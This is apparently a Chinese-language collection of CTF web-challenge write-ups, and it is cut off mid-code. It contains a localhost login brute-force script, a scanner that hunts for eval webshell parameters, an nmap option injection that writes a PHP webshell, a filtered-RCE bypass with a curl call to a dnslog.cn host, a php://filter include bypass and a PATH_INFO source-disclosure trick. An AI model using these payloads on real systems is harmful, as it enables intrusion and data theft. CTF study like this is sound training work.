"output1.txt" with open(output_file, "r" , encoding ="utf-8" ) as file: lines = file.readlines()for line in lines: a = requests.session() url = 'http://127.0.0.1:35849/v2/apis/sign/refreshQRCode' b = a.get (url =url) print (b.text) # 提取signCode signCode = re.findall(r'"signCode":"(.*?)"' , b.text) signCode = str(signCode) signCode = signCode.replace("'" , "" ).replace("[" , "" ).replace("]" , "" ) # 提取enc值 enc = re.findall(r'"enc":"(.*?)"' , b.text) enc = str(enc) enc = enc.replace("'" , "" ).replace("[" , "" ).replace("]" , "" ) print ('signCode=' , signCode) print ('enc=' , enc) number = line.strip() # 去除行末尾的换行符 plaintext = number encrypted_text = encrypt_by_aes(plaintext, key, iv) print ('encrtpted==' ,encrypted_text) url1 ='http://127.0.0.1:35849/fanyalogin' data={ "fid" :-1, "uname" :f"{encrypted_text}" , "password" :f"{encrypted_text}" , "refer" :"https%253A%252F%252Fi.chaoxing.com" , "t" :"true" , "forbidotherlogin" :0, "doubleFactorLogin" :0, "independentId" :0, "independentNameId" :0 } cookies = { "retainlogin" : "1" , "token" : "f5ba764e-040a-400c-ae13-80fedd7caac6" } login1 =requests.session() login = login1.post(url =url1,data=data) print ("data注入" ,login) # print (login.cookies) cook = login.cookies print (cook) for cookie in cook: if cookie.name == "token" : token_value = cookie.value #token值 print (f"token={token_value}" ) cookies["token" ]=token_value break # 找到后就可以停止遍历 print (cookies) url2 =f'http://127.0.0.1:35849/widget/sign/e?id=4000000000000&c={signCode}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id' login3s =requests.session() login3 = login3s.get (url =url2,cookies=cookies) print (login3) time.sleep(0.5)
[强网杯 2019]高明的黑客 源码已经打包好了,下载 发现有三千多个php文件,且基本上每个文件都有eval可能会被利用,但毕竟三千多个文件我们不可能会一个一个试,所以我们写一个自动化脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import osimport requestsimport reimport threadingimport timeprint ('开始时间: ' + time.asctime(time.localtime(time.time()))) s1 = threading.Semaphore(100 ) filePath = r"D:/websafe/phpstudy/phpstudy_pro/WWW/www/src/" os.chdir(filePath) requests.adapters.DEFAULT_RETRIES = 5 files = os.listdir(filePath) session = requests.Session() session.keep_alive = False def get_content (file ): s1.acquire() print ('trying ' + file + ' ' + time.asctime(time.localtime(time.time()))) with open (file, encoding='utf-8' ) as f: gets = list (re.findall('\$_GET\[\'(.*?)\'\]' , f.read())) posts = list (re.findall('\$_POST\[\'(.*?)\'\]' , f.read())) data = {} params = {} for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" url = 'http://127.0.0.1/www/src/' + file req = session.post(url, data=data, params=params) req.close() req.encoding = 'utf-8' content = req.text if "xxxxxx" in content: flag = 0 for a in gets: req = session.get(url + '?%s=' % a + "echo 'xxxxxx';" ) content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1 : for b in posts: req = session.post(url, data={b: "echo 'xxxxxx';" }) content = req.text req.close() if "xxxxxx" in content: break if flag == 1 : param = a else : param = b print ('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param) print ('结束时间: ' + time.asctime(time.localtime(time.time()))) s1.release() for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start()
多线程还是快,用了其它脚本跑了几个小时 找到可以利用的文件和参数,进入靶场
[网鼎杯 2020 朱雀组]Nmap 启动靶机,执行nmap命令 先输入正常内容127.0.0.1 看看能不能命令执行 可以看到|被\转义,应该是被escapeshellarg()和escapeshellcmd()转义 尝试使用其它管道符,也显示错误 nmap的一些用法
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
payload
1 ' <?= @eval ($_POST ["a" ]);?> -oG 1.phtml '
这里已经绕过了escapeshellarg和escapeshellcmd,虽然显示错误,但是已经成功写入1.phtml php应该是被过滤了,采用phtml和?=替代php 最终flag
1 127.0.0.1 ' <?= @eval($_POST["a"] );?> -oG 1 .phtml '
在1.phtml命令执行即可
还有一种做法
payload
1 127.0.0.1 ' -iL /flag -o xixi '
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?require ('settings.php' ); set_time_limit(0 );if (isset($_POST['host' ])): if (!defined ('WEB_SCANS' )) { die ('Web scans disabled' ); } $host = $_POST['host' ]; if (stripos($host,'php' )!==false){ die ("Hacker..." ); } $host = escapeshellarg($host); $host = escapeshellcmd($host); $filename = substr (md5(time () . rand (1 , 10 )), 0 , 5 ); $command = "nmap " . NMAP_ARGS . " -oX " . RESULTS_PATH . $filename . " " . $host; $result_scan = shell_exec($command); if (is_null($result_scan)) { die ('Something went wrong' ); } else { header('Location: result.php?f=' . $filename); }else : ?>
[SWPUCTF 2021 新生赛]finalrce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );if (isset ($_GET ['url' ])) { $url =$_GET ['url' ]; if (preg_match ('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i' ,$url )) { echo "Sorry,you can't use this." ; } else { echo "Can you see anything?" ; exec ($url ); } }
过滤了很多函数 可以先用whomai和pwd这些没禁用的函数看看,发现没有回显,无回显RCE 尝试写入文件 这里用到tee命令:
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。 payload
l\s绕过这在linux中是允许的,同样的还有l’’s和l””s 或者用模糊查询
1 tac /fllll?aaaaaaggggggg|tee 1.txt
dns外带可以,但效果有限
1 ?url=curl `l\s`.6 lwgd3.dnslog.cn
[鹏城杯 2022]简单包含 这题貌似特别简单,给了入口伪协议就好,那么我们伪协议试试 竟然爆了waf,我们看一下index.php的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $path = $_POST ["flag" ];if (strlen (file_get_contents ('php://input' )) < 800 && preg_match ('/flag/' , $path )) { echo 'nssctf waf!' ; } else { @include ($path ); } ?> <code > <span style ="color: #000000" > <span style ="color: #0000BB" > < ?php <br /> highlight_file</span > <span style ="color: #007700" > (</span > <span style ="color: #0000BB" > __FILE__</span > <span style ="color: #007700" > );<br /> include(</span > <span style ="color: #0000BB" > $_POST</span > <span style ="color: #007700" > [</span > <span style ="color: #DD0000" > "flag"</span > <span style ="color: #007700" > ]);<br /> </span > <span style ="color: #FF8000" > //flag in /var/www/html/flag.php;</span > </span > </code > <br />
解码后发现刚才的php代码竟然是假冒的 禁用了flag,当然这题可以filter链漏洞直接过 但是常规的办法是看它的if语句
1 strlen(file_get_contents ('php://input ')) < 800
因为是and的关系,所以我们要让第一个判断为false
1 2 3 4 5 6 <?php $a = str_repeat ('a' ,800 );echo $a ;?>
payload
1 a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php:// filter/convert.base64-encode/ resource=flag.php
然后就执行了伪协议,将base64编码后的flag.php显示出来了
[鹤城杯 2021]EasyP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php include 'utils.php' ;if (isset($_POST ['guess' ])) { $guess = (string) $_POST ['guess' ]; if ($guess === $secret ) { $message = 'Congratulations! The flag is: ' . $flag ; } else { $message = 'Wrong. Try Again' ; } }if (preg_match('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); }if (preg_match('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); }if (isset($_GET ['show_source' ])) { highlight_file(basename($_SERVER ['PHP_SELF' ])); exit (); }else { show_source(__FILE__); } ?>
先了解一下$_SERVER参数
1 2 3 案例网址:https:// www.shawroot.cc/php/i ndex.php/test/ foo?username=root$_SERVER ['PHP_SELF' ] 得到:/php/i ndex.php/test/ foo$_SERVER ['REQUEST_URI' ] 得到:/php/i ndex.php/test/ foo?username=root
$_SERVER’REQUEST_URI’不会将参数中的特殊符号进行转换, 也就是说它获取到的url上面的值,不会进行url解码
basename():返回路径中的文件名部分
例子: 127.0.0.1/pikachu/index.php?file=1.php 显示:1.php
127.0.0.1/pikachu/index.php?file=flag.php/1.php 显示:1.php
先上payload结合解释
1 /index.php/u tils.php/%ff?%73 how_source=1
/index.php/utils.php/%ff:在php中,/index.php/utils.php/%ff被解析为一个路径信息(Path info),并被设置为$_SERVER[‘PATH_INFO’] 变量的值。然后,这个路径信息会被添加到$_SERVER[‘PHP_SELF’] 中,即$_SERVER[‘PHP_SELF’] = ‘/index.php/utils.php/%ff’。
%ff是url编码中的一个特殊字符,代表一个非打印字符。在PHP中,非打印字符通常会被忽略。所以,/utils.php/%ff实际上被PHP解析为/utils.php/
然后,当PHP执行highlight_file(basename($_SERVER[‘PHP_SELF’]));这段代码时,basename($_SERVER[‘PHP_SELF’])会返回utils.php,因为basename()函数返回路径中的最后一部分,也就是文件名,所以,/index.php/utils.php/%ff 最终被解析为 /utils.php。 其中show_source还可以以show source或show+source替代
%ff的作用解析 当你访问/index.php/utils.php时,实际上你正在访问index.php这个文件,而/utils.php被视为“路径信息”这是因为在PHP中,路径信息是可以通过$_SERVER[‘PATH_INFO’]来获取的,而不是直接作为文件名处理的,所以当你调用basename(_SERVER[‘PHP_SELF’]) 时,它实际上会返回index.php,因为这是正在执行的脚本文件。
当你访问/index.php/utils.php/%ff时,情况就变了。%ff是一个URL编码的非打印字符,PHP在处理URL时会忽略它。因此utils.php/%ff实际上被解析为utils.php。这就使得basename($_SERVER[‘PHP_SELF’]) 返回 utils.php,而不是 index.php。
这是因为PHP在处理URL时,会将%ff之后的部分视为路径信息,而将%ff之前的部分视为文件名。所以在这种情况下utils.php%ff被解析为utils.php,并且basename($_SERVER[‘PHP_SELF’]) 会返回 utils.php。
值得注意的是
1 2 3 if (preg_match('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); }
明明我们的url中有utils.php,但为什么没有触发这个正则呢,因为这个是后匹配(匹配输入字符串的结束位置)
可以用vps模拟一下这个过程 测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php echo "SERVER['PHP_SELF'] = " .$_SERVER ['PHP_SELF' ]; echo '<br>' ; var_dump(preg_match('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ]));if (preg_match('/utils\.php\/*$/i' , $_SERVER ['PHP_SELF' ])) { exit ("hacker :)" ); }if (preg_match('/show_source/' , $_SERVER ['REQUEST_URI' ])){ exit ("hacker :)" ); }if (isset($_GET ['show_source' ])) { highlight_file(basename($_SERVER ['PHP_SELF' ])); echo 'basename = =' .basename($_SERVER ['PHP_SELF' ]); exit (); }else { show_source(__FILE__); } ?>
[GDOUCTF 2023]hate eat snake 游戏题 这种一般都是js,找一下flag 在snake.js中找到 貌似是自己的函数嵌套加密,js代码混淆 在网页上我们改不了js代码,但是我们可以把网页搬到本地里 然后把if(this’getScore’>0),创造一个我们自己的条件,本地运行
或者把那一整串加密函数复制下来放到控制台上
1 function _0x2615(){var _0x30b7fe=['C2vHCMnO','Dg9tDhjPBMC','DuLywKG','BgvUz3rO','CMv0DxjUicHMDq','y29UC29Szq','Aw5MBW','CM4GDgHPCYiPka','yvz6uuW','otuYnZiWwxDjwwHS','kcGOlISPkYKRkq','y29UC3rYDwn0BW','AZnYx2GWCgvFDa','ELvTAfO','Cu5JwK8','DvjNreK','zKHowxC','wwj5u3u','Aun1y2u','D2fYBG','AxjSzNjPzw5KFq','DuTYBhO','Eg5KCK4','A0viDfK','t1PAu04','wKDMC0O','yxbWBhK','C29huKO','ELbnu1a','sKnlqMu','mZq2ode4D1nKqvPl','B0fzAhy','C3bSAxq','nJiXmZCZmMXkqKvfwG','y3rVCIGICMv0Dq','BMn0Aw9UkcKG','mZe5odC1m0jfAfDJyG','ChjVDg90ExbL','zMLmywK','Bg9N','nZaWy1fIr1zd','sw16u0y','s2LOs0m','mZa2EfD0yNrK','x19WCM90B19F','qxbwC2y','zgPJrwG','EMPgDKG','uMjwufa','qvbHAMS','D21JtMu','yMLUza','mJe1mtbYsw9mqw0','zgzQELu','uNrItxe','mZKZmZuYCxvStLDN','mNWXFdb8nhW1Fa','vxLOBgS','tLntq1rgE0PFma','nta3mdi1ohnisvrvDq','s3nNzge','B19OyxzLx0bFzW','E30Uy29UC3rYDq'];_0x2615=function(){return _0x30b7fe;};return _0x2615();}(function(_0x9c05b6,_0x3cd1af){var _0x14de83={_0x2eff5d:0 x515,_0x379093:0 x517,_0x28a866:0 x4fb,_0x138c8b:0 x4d9,_0x44fc29:0 x4ea,_0x31227a:0 x4f8,_0x289b75:0 xbb,_0x5370c2:0 xc0,_0x5787b9:0 xd5,_0x1ad93d:0 xcd,_0xe984c4:0 xc6,_0x237902:0 xe9,_0x348752:0 xc5,_0x31acff:0 xc1,_0x29000f:0 xa9,_0x27647b:0 x52e,_0x460527:0 x535,_0x2aaf24:0 xd4,_0x399fbe:0 xd2,_0x6657d2:0 xcc,_0x374113:0 xbe,_0x971dcb:0 xbd,_0x2d75b0:0 xca,_0x27e959:0 xb5,_0x3154a8:0 xb9},_0x3d91c3={_0x2b5c86:0 x2a7},_0x2ef8df={_0xa9f18e:0 x32f};function _0x19c108(_0x40885c,_0xff529f,_0x5259a1,_0x44205b){return _0x3b1f(_0x5259a1-_0x2ef8df._0xa9f18e,_0xff529f);}function _0x258a90(_0x130138,_0x35de99,_0x370399,_0x19391d){return _0x3b1f(_0x35de99- -_0x3d91c3._0x2b5c86,_0x19391d);}var _0x4c122a=_0x9c05b6();while(!![]){try{var _0x2f5b83=parseInt(_0x19c108(_0x14de83._0x2eff5d,0 x515,0 x4ff,_0x14de83._0x379093))/(-0 x349*0 x1+-0 x3*0 xba7+0 x263f)+parseInt(_0x19c108(_0x14de83._0x28a866,_0x14de83._0x138c8b,_0x14de83._0x44fc29,_0x14de83._0x31227a))/(0 x156b+0 x8b*0 xe+-0 x1d03)+-parseInt(_0x258a90(-_0x14de83._0x289b75,-0 xd1,-0 xe4,-_0x14de83._0x5370c2))/(0 x655*-0 x1+-0 x76*0 x15+0 x1006)+parseInt(_0x258a90(-_0x14de83._0x5787b9,-_0x14de83._0x1ad93d,-_0x14de83._0xe984c4,-_0x14de83._0x237902))/(-0 x2028+0 xecd*-0 x1+0 x2ef9)*(parseInt(_0x258a90(-_0x14de83._0x348752,-_0x14de83._0x31acff,-_0x14de83._0x29000f,-0 xa2))/(0 xb4e*-0 x1+0 x1236+-0 x2b*0 x29))+parseInt(_0x19c108(_0x14de83._0x27647b,_0x14de83._0x460527,0 x51c,0 x536))/(-0 x22ad+-0 x925+0 x8*0 x57b)+parseInt(_0x258a90(-0 xd9,-_0x14de83._0x2aaf24,-_0x14de83._0x399fbe,-_0x14de83._0x2aaf24))/(-0 x564+-0 x2664+0 x2bcf)+parseInt(_0x258a90(-_0x14de83._0x6657d2,-_0x14de83._0x374113,-0 xa9,-0 xcd))/(-0 x178*-0 x8+-0 x1*-0 x2af+0 x1*-0 xe67)*(-parseInt(_0x258a90(-_0x14de83._0x971dcb,-_0x14de83._0x2d75b0,-_0x14de83._0x27e959,-_0x14de83._0x3154a8))/(0 x837+-0 x7b9+-0 xd*0 x9));if(_0x2f5b83===_0x3cd1af)break;else _0x4c122a['push'](_0x4c122a['shift']());}catch(_0x37c27d){_0x4c122a['push'](_0x4c122a['shift']());}}}(_0x2615,-0 x1d40d+0 x5e216*-0 x2+0 x164db7));function _0x3b1f(_0x13dbeb,_0x5cc9c2){var _0x9dd244=_0x2615();return _0x3b1f=function(_0x6bb205,_0x1a837a){_0x6bb205=_0x6bb205-(-0 xa10+-0 xf4e+0 x1b11);var _0x4a9901=_0x9dd244[_0x6bb205];if(_0x3b1f['ezcADE']===undefined){var _0x737fa1=function(_0xdd69cc){var _0x32b23a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x291519='',_0xe543a9='',_0x56d82c=_0x291519+_0x737fa1;for(var _0x38d1b8=0 x1493+-0 xf22+-0 x571,_0x20fe78,_0x2e67a2,_0x112ad9=0 x95f*0 x1+0 x17*-0 x11d+0 x103c;_0x2e67a2=_0xdd69cc['charAt'](_0x112ad9++);~_0x2e67a2&&(_0x20fe78=_0x38d1b8%(0 x2248+0 x1*-0 x249e+-0 x2b*-0 xe)?_0x20fe78*(-0 x11e2+-0 x12*-0 x13e+-0 x43a)+_0x2e67a2:_0x2e67a2,_0x38d1b8++%(0 x15f8+0 x4*0 x5db+0 xb0*-0 x42))?_0x291519+=_0x56d82c['charCodeAt'](_0x112ad9+(-0 x17*0 x13+-0 xbe4+0 x1*0 xda3))-(0 x1a*0 x112+0 x256*0 x1+-0 x1e20*0 x1)!==-0 xd32+-0 x1*0 x7f3+0 x1*0 x1525?String['fromCharCode'](-0 x21b6+0 x2686+-0 x3d1&_0x20fe78>>(-(0 x1*-0 x1174+0 x17c4+-0 x64e)*_0x38d1b8&0 x956+-0 x1e86+0 xf*0 x16a)):_0x38d1b8:0 x9b*-0 xb+0 xaa9*0 x2+-0 xea9){_0x2e67a2=_0x32b23a['indexOf'](_0x2e67a2);}for(var _0x399c03=0 x25*0 x86+-0 x5*0 xeb+-0 xec7,_0x268f6f=_0x291519['length'];_0x399c03<_0x268f6f;_0x399c03++){_0xe543a9+='%'+('00 '+_0x291519['charCodeAt'](_0x399c03)['toString'](-0 x1*-0 x1db8+-0 x142*-0 xf+-0 x3086))['slice'](-(-0 x121b+0 x2418+-0 x11fb));}return decodeURIComponent(_0xe543a9);};_0x3b1f['gtGaaQ']=_0x737fa1,_0x13dbeb=arguments,_0x3b1f['ezcADE']=!![];}var _0x10cea4=_0x9dd244[0 x4*0 x485+0 xd15+-0 x3*0 xa63],_0x43aebe=_0x6bb205+_0x10cea4,_0x372eb9=_0x13dbeb[_0x43aebe];if(!_0x372eb9){var _0x3e361c=function(_0x45f181){this['YdeqDM']=_0x45f181,this['ZwSuYW']=[-0 x1*-0 xed7+-0 x1575*0 x1+-0 x1*-0 x69f,-0 x5e*0 x35+-0 x1e0+0 x1556,-0 x1428+-0 x1*0 x2c1+0 x16e9],this['LxWuRS']=function(){return'newState';},this['ZvCcme']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['yEXhLw']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x3e361c['prototype']['lGgayY']=function(){var _0x1111a8=new RegExp(this['ZvCcme']+this['yEXhLw']),_0x18a410=_0x1111a8['test'](this['LxWuRS']['toString']())?--this['ZwSuYW'][0 x2b3*-0 xd+-0 x8ab+0 x2bc3]:--this['ZwSuYW'][-0 x427*0 x1+0 x248a+-0 x2063];return this['dFEYfX'](_0x18a410);},_0x3e361c['prototype']['dFEYfX']=function(_0x29be5c){if(!Boolean(~_0x29be5c))return _0x29be5c;return this['QPabUn'](this['YdeqDM']);},_0x3e361c['prototype']['QPabUn']=function(_0x400659){for(var _0x56e46c=-0 x947+-0 x1c0e+-0 x13*-0 x1f7,_0x137603=this['ZwSuYW']['length'];_0x56e46c<_0x137603;_0x56e46c++){this['ZwSuYW']['push'](Math['round'](Math['random']())),_0x137603=this['ZwSuYW']['length'];}return _0x400659(this['ZwSuYW'][-0 x1*-0 x1c8b+0 x574+-0 x21ff]);},new _0x3e361c(_0x3b1f)['lGgayY'](),_0x4a9901=_0x3b1f['gtGaaQ'](_0x4a9901),_0x13dbeb[_0x43aebe]=_0x4a9901;}else _0x4a9901=_0x372eb9;return _0x4a9901;},_0x3b1f(_0x13dbeb,_0x5cc9c2);}var _0xe3a40f=(function(){var _0xa08eff={_0x4ef0ad:0 x132,_0x22ef19:0 x13d,_0x2bc994:0 x10a,_0x572812:0 x12a,_0x265475:0 x153,_0x4a1f2d:0 x169,_0x47ee9e:0 x143,_0x36b087:0 x14a,_0x24c4fe:0 x93,_0x1b2ec9:0 xaf,_0x417b61:0 x94,_0xca6d53:0 x99,_0x17a7c5:0 xb2,_0x54f6fb:0 xa2,_0x37e0ba:0 xaa,_0x3bf4f1:0 xc0,_0x3d4138:0 x13b,_0x5e7f7e:0 x11b},_0x23f48c={_0x45fca3:0 x1e3,_0x388cc1:0 x1ee,_0x52ef39:0 x1cf,_0x46a0ad:0 x1ce,_0x147ee6:0 x1c2},_0x3655fa={_0x295058:0 x29f,_0x3260c2:0 x2b8,_0x2fde01:0 x2b5,_0x41dea7:0 x2c0,_0x44620a:0 x2cc,_0x310c84:0 x2b9},_0x40c435={_0x114861:0 x312},_0x3f94c6={};_0x3f94c6[_0x47cdc4(-_0xa08eff._0x4ef0ad,-_0xa08eff._0x22ef19,-_0xa08eff._0x2bc994,-_0xa08eff._0x572812)]='tSnSD';function _0x47cdc4(_0x407d27,_0x519718,_0x55f154,_0x2e3d6d){return _0x3b1f(_0x2e3d6d- -_0x40c435._0x114861,_0x407d27);}_0x3f94c6[_0x47cdc4(-_0xa08eff._0x265475,-_0xa08eff._0x4a1f2d,-_0xa08eff._0x47ee9e,-_0xa08eff._0x36b087)]=_0x17f6d4(-_0xa08eff._0x24c4fe,-_0xa08eff._0x1b2ec9,-_0xa08eff._0x417b61,-0 x85),_0x3f94c6[_0x17f6d4(-_0xa08eff._0xca6d53,-0 xab,-0 x9b,-_0xa08eff._0x17a7c5)]=function(_0x46e4eb,_0x351c7f){return _0x46e4eb!==_0x351c7f;},_0x3f94c6[_0x17f6d4(-_0xa08eff._0x54f6fb,-_0xa08eff._0x37e0ba,-0 xbf,-_0xa08eff._0x3bf4f1)]=_0x47cdc4(-_0xa08eff._0x3d4138,-_0xa08eff._0x5e7f7e,-0 x14d,-_0xa08eff._0x4ef0ad);function _0x17f6d4(_0x3f62ee,_0x475c98,_0xe91d2a,_0x16640e){return _0x3b1f(_0xe91d2a- -0 x282,_0x475c98);}var _0x58a5c3=_0x3f94c6,_0x2b2d86=!![];return function(_0x58f58f,_0x155082){var _0x29b99c={_0x5b3b43:0 x17b,_0x4ed988:0 xf6},_0x3ea797={_0x5f5192:0 x174,_0x2817be:0 xd8},_0x53d249={_0x2b52f7:0 x4c,_0x55cf12:0 x28d,_0x1ea0e4:0 x66},_0x478556={_0x590b31:0 x154,_0x4ad502:0 x3a2,_0x5de42d:0 x53};function _0x1f4917(_0x598525,_0x58ffdb,_0x475520,_0x9449f2){return _0x17f6d4(_0x598525-_0x478556._0x590b31,_0x598525,_0x475520-_0x478556._0x4ad502,_0x9449f2-_0x478556._0x5de42d);}function _0x1f060f(_0x4c2543,_0x16ffc7,_0x202b3d,_0x498f7a){return _0x17f6d4(_0x4c2543-_0x53d249._0x2b52f7,_0x4c2543,_0x202b3d-_0x53d249._0x55cf12,_0x498f7a-_0x53d249._0x1ea0e4);}if(_0x58a5c3[_0x1f060f(0 x1d9,_0x23f48c._0x45fca3,0 x1f2,_0x23f48c._0x388cc1)](_0x58a5c3[_0x1f060f(_0x23f48c._0x52ef39,0 x1b7,_0x23f48c._0x46a0ad,_0x23f48c._0x147ee6)],'djcEh')){var _0x121d40={_0x399041:0 x48f,_0xda48dd:0 x4b5,_0x12c9aa:0 x4a3},_0x9c5d2b={_0x13395d:0 xb5,_0x2ba18c:0 x1b7},_0x299386=_0x140454?function(){function _0xe54654(_0xff35d7,_0x2eabec,_0xf0fba7,_0x56791e){return _0x1f4917(_0xf0fba7,_0x2eabec-_0x9c5d2b._0x13395d,_0x56791e-_0x9c5d2b._0x2ba18c,_0x56791e-0 x11a);}if(_0x241793){var _0x9ba59f=_0x5f5c1b[_0xe54654(_0x121d40._0x399041,0 x4a9,_0x121d40._0xda48dd,_0x121d40._0x12c9aa)](_0x4746f1,arguments);return _0x4e1409=null,_0x9ba59f;}}:function(){};return _0x1fdeb7=![],_0x299386;}else{var _0x4c214f=_0x2b2d86?function(){function _0x269dd1(_0x551565,_0x4fb373,_0x5317a2,_0x2480fc){return _0x1f4917(_0x551565,_0x4fb373-_0x3ea797._0x5f5192,_0x4fb373-0 x273,_0x2480fc-_0x3ea797._0x2817be);}function _0x39ec60(_0x150153,_0x5d49c2,_0x418287,_0x57aad6){return _0x1f060f(_0x5d49c2,_0x5d49c2-_0x29b99c._0x5b3b43,_0x418287-0 xe2,_0x57aad6-_0x29b99c._0x4ed988);}if(_0x58a5c3['RtbMq']!==_0x58a5c3[_0x39ec60(_0x3655fa._0x295058,_0x3655fa._0x3260c2,_0x3655fa._0x2fde01,_0x3655fa._0x41dea7)]){if(_0x155082){var _0x14cc2a=_0x155082[_0x39ec60(0 x2bd,_0x3655fa._0x44620a,_0x3655fa._0x310c84,0 x29f)](_0x58f58f,arguments);return _0x155082=null,_0x14cc2a;}}else{var _0x34fb23=_0x34f28e?function(){if(_0x102b00){var _0x7d04e0=_0x49b548['apply'](_0x544e8c,arguments);return _0x4e84cf=null,_0x7d04e0;}}:function(){};return _0x2019d8=![],_0x34fb23;}}:function(){};return _0x2b2d86=![],_0x4c214f;}};}()),_0x9d6323=_0xe3a40f(this,function(){var _0x3e95={_0x308ee1:0 xf,_0x3b3319:0 x19,_0x2164b1:0 x41,_0x3fb1c9:0 x37,_0x438b66:0 x44,_0x1fdf8c:0 x14,_0x50244f:0 x7,_0x336362:0 x21,_0x32496e:0 x39,_0x160f93:0 x37,_0xbb9faa:0 x54,_0x23bbeb:0 x2d,_0x51d26b:0 x16,_0x65072d:0 x26,_0x188b75:0 xe,_0x30008e:0 x3,_0x1aab7d:0 x18,_0x3b2c72:0 x1a,_0xf0b648:0 x37,_0xba4d7:0 x50,_0x377e40:0 x27,_0x5b4725:0 x2f,_0x435c34:0 x17,_0x4fd6df:0 xd},_0x387847={_0x35bca4:0 x17b},_0x308184={};_0x308184[_0xe0b24e(_0x3e95._0x308ee1,0 x17,0 x2,_0x3e95._0x3b3319)]=_0x22aa6e(0 x2d,_0x3e95._0x2164b1,_0x3e95._0x3fb1c9,_0x3e95._0x438b66)+'+$';function _0xe0b24e(_0x5d8370,_0x47708a,_0x9bf602,_0x161491){return _0x3b1f(_0x47708a- -0 x1ba,_0x161491);}var _0x186c58=_0x308184;function _0x22aa6e(_0x5483d7,_0x3792da,_0x5cb13b,_0x24729c){return _0x3b1f(_0x3792da- -_0x387847._0x35bca4,_0x24729c);}return _0x9d6323[_0xe0b24e(-_0x3e95._0x1fdf8c,-_0x3e95._0x50244f,-0 x17,-_0x3e95._0x336362)]()[_0xe0b24e(_0x3e95._0x32496e,_0x3e95._0x160f93,_0x3e95._0xbb9faa,_0x3e95._0x23bbeb)]('(((.+)+)+)'+'+$')[_0xe0b24e(-_0x3e95._0x51d26b,-_0x3e95._0x50244f,-_0x3e95._0x65072d,0 x2)]()[_0xe0b24e(-_0x3e95._0x188b75,_0x3e95._0x30008e,_0x3e95._0x1aab7d,-0 x1c)+'r'](_0x9d6323)[_0xe0b24e(_0x3e95._0x3b2c72,_0x3e95._0xf0b648,_0x3e95._0xba4d7,_0x3e95._0x377e40)](_0x186c58[_0xe0b24e(_0x3e95._0x5b4725,_0x3e95._0x435c34,0 x0,_0x3e95._0x4fd6df)]);});_0x9d6323();function _0x324fcb(_0xb79ef8,_0x5677da,_0x2aede5,_0x2b1b75){var _0x5afa09={_0xd41db0:0 xed};return _0x3b1f(_0xb79ef8-_0x5afa09._0xd41db0,_0x2aede5);}var _0x18bc3c=(function(){var _0x4a49a2={_0x112dad:0 xe5,_0x373d02:0 xc9,_0x279d60:0 xe4,_0x2afcc4:0 xc1,_0x1d4d88:0 x96,_0x218565:0 x9b,_0x305bb7:0 x80,_0x4c1214:0 x9c,_0x586b8d:0 x408,_0x57f03e:0 x3f4,_0x3d6243:0 x3fc,_0x13ddcd:0 x3e6,_0x1d9509:0 x3c3,_0x474faf:0 x3e2,_0x391269:0 xa9,_0x53a13b:0 xc0,_0x4117cc:0 xa8,_0x583742:0 xd9,_0x4235d6:0 xbe,_0x54aba5:0 xb8,_0x4e6853:0 xd3,_0x42b7f7:0 x3f0,_0x13ee23:0 x406,_0x298794:0 x421},_0x300566={_0x396a2d:0 x9c,_0x7a7a0d:0 xa1,_0x4c2fba:0 